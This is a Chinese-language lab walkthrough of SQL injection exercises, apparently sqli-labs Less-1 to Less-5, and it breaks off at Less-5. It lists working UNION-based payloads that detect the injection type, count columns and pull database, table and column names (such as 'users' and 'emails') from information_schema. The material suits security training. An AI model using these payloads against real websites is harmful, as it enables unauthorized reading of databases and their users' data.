Less-1
1.判断数据注入类型
?id=2-1
// 给id赋值一个式子,
若输出id=1的数据,即为:数字型 (先运算后赋值)
若输出id=2的数据, 即为:字符型(赋值第一个字符)
或者
?id=1' and '1'='1 // 未报错
?id=1' and '1'='2 // 报错,字符型
2.判断数据列数
?id=1' order by 3 --+
// 判断是否为三列,未报错说明正确
?id=1' order by 4 --+
// 判断是否为四列,报错说明没有四列
注:联合查询必须列数相同,所以才先判断列数,再输入相同列数的数据来判断显示位
3.判断显示位
?id=111' union select 1,2,3 --+
// id=111' 是因为采用联合查询,使前面为假,便可以跳过直接执行后面的代码
4.查询库名
4.1 查询当前库名
?id=111' union select 1,database(),3 --+
//database() 当前库名
4.2 查询所有库名
?id=111' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
4.3 查询该库所有表名
?id=111' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+
// group_concat():使数据在一行显示
// where table_schema = database() :限定条件,表所属数据库为该数据库
4.4 查询users表中字段
?id=111' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = database()--+
// where table_name = 'users' and table_schema = database() 限定条件,该库中users表中的字段
Less-2
1.判断数据注入类型
?id=2-1
2.判断数据列数
?id=1 order by 3
3.判断显示位
?id=111 union select 1,2,3 --+
4.查询库名
4.1 查询当前库名
确定显示位后,将想要查询的数据写在该显示位
?id=111 union select 1,database(),3 --+
4.2 查询该库中所有表名
?id=111 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
4.3 查询emails表中所有字段
?id=111 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' and table_schema=database()--+
Less-3
1.判断数据注入类型
?id=2-1
?id=1"
2.判断数据列数
正确方法:
?id=1') order by 3 --+
3.判断显示位
?id=111') union select 1,2,3 --+
4.查询库名
当前库名
其他 库名、表名、列名与Less-1 语法一样
Less-4
1.判断数据注入类型
?id=2-1
2.判断数据列数
?id=1") order by 3 --+
3.判断显示位
?id=111") union select 1,2,3 --+
4.查询库名
?id=111") union select 1,database(),3 --+
Less-5(报错注入)
1.判断数据注入点类型
单引号导致页面显示数据库报错信息,确定注入点为单引号字符型